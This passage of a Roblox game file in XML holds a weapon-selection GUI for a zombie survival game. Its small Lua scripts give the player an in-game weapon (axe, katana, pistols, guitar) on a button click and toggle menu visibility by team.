							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3756">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126960453</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3757">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Blunderbuss:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3758">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Welcome</string>
						<UDim2 name="Position">
							<XS>0.25</XS>
							<XO>0</XO>
							<YS>0.100000001</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextBox" referent="RBX3759">
						<Properties>
							<bool name="Active">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClearTextOnFocus">true</bool>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">9</token>
							<bool name="MultiLine">false</bool>
							<string name="Name">Welcome</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">ogm u a survivor!1!</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278716424</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="TextLabel" referent="RBX3760">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<token name="Font">0</token>
						<token name="FontSize">7</token>
						<string name="Name">Team</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>550</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<string name="Text"></string>
						<Color3 name="TextColor3">4278190080</Color3>
						<bool name="TextScaled">false</bool>
						<Color3 name="TextStrokeColor3">4278190080</Color3>
						<float name="TextStrokeTransparency">1</float>
						<float name="TextTransparency">0</float>
						<bool name="TextWrapped">false</bool>
						<token name="TextXAlignment">2</token>
						<token name="TextYAlignment">1</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3761">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Team Script</string>
						<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent

if Player.TeamColor == game.Teams.Survivors.TeamColor then
script.Parent.Visible = true
else
script.Parent.Visible = false
end 

function vis()
&#9;if (game.Workspace.ZombieScript.Running.Value == 1) then
&#9;&#9;if Player.TeamColor == game.Teams.Survivors.TeamColor then
&#9;&#9;&#9;script.Parent.Visible = true
&#9;&#9;else
&#9;&#9;&#9;script.Parent.Visible = false
&#9;&#9;end
&#9;else
&#9;&#9;script.Parent.Visible = false
&#9;end
end
vis()
game.Workspace.ZombieScript.Running.Changed:connect(vis)</ProtectedString>
					</Properties>
				</Item>
				<Item class="Frame" referent="RBX3762">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Secondary</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>0</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextButton" referent="RBX3763">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Axe- Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3764">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856738</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3765">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-75</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3766">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">meley</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3767">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Axe:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3768">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">CZ57- Main</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>300</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3769">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079944</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Frame" referent="RBX3770">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<string name="Name">Name</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>-45</XO>
									<YS>0</YS>
									<YO>25</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<token name="Style">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
							<Item class="TextBox" referent="RBX3771">
								<Properties>
									<bool name="Active">true</bool>
									<Color3 name="BackgroundColor3">4288914085</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4279970357</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="ClearTextOnFocus">true</bool>
									<bool name="ClipsDescendants">false</bool>
									<bool name="Draggable">false</bool>
									<token name="Font">2</token>
									<token name="FontSize">8</token>
									<bool name="MultiLine">false</bool>
									<string name="Name">Name</string>
									<UDim2 name="Position">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0</XS>
										<XO>0</XO>
										<YS>0</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<string name="Text">pistals</string>
									<Color3 name="TextColor3">4294967295</Color3>
									<bool name="TextScaled">false</bool>
									<Color3 name="TextStrokeColor3">4278716424</Color3>
									<float name="TextStrokeTransparency">0</float>
									<float name="TextTransparency">0</float>
									<bool name="TextWrapped">false</bool>
									<token name="TextXAlignment">2</token>
									<token name="TextYAlignment">1</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX3772">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.CZ57:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3773">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>200</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3774">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">9</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">selekt a sekond woepan plz</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
					<Item class="Frame" referent="RBX3775">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Select2</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>350</XO>
								<YS>0</YS>
								<YO>235</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextBox" referent="RBX3776">
							<Properties>
								<bool name="Active">true</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">0</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClearTextOnFocus">true</bool>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">2</token>
								<token name="FontSize">7</token>
								<bool name="MultiLine">false</bool>
								<string name="Name">Select</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">klik on da wepon 2 go boom boom</string>
								<Color3 name="TextColor3">4294506744</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278716424</Color3>
								<float name="TextStrokeTransparency">0</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">2</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3777">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Guitar</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3778">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856765</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3779">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Guitar:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3780">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Katana</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3781">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856777</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3782">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Katana:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3783">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Colt45</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3784">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079932</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3785">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Colt45:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3786">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M1911</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>250</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3787">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080014</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3788">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

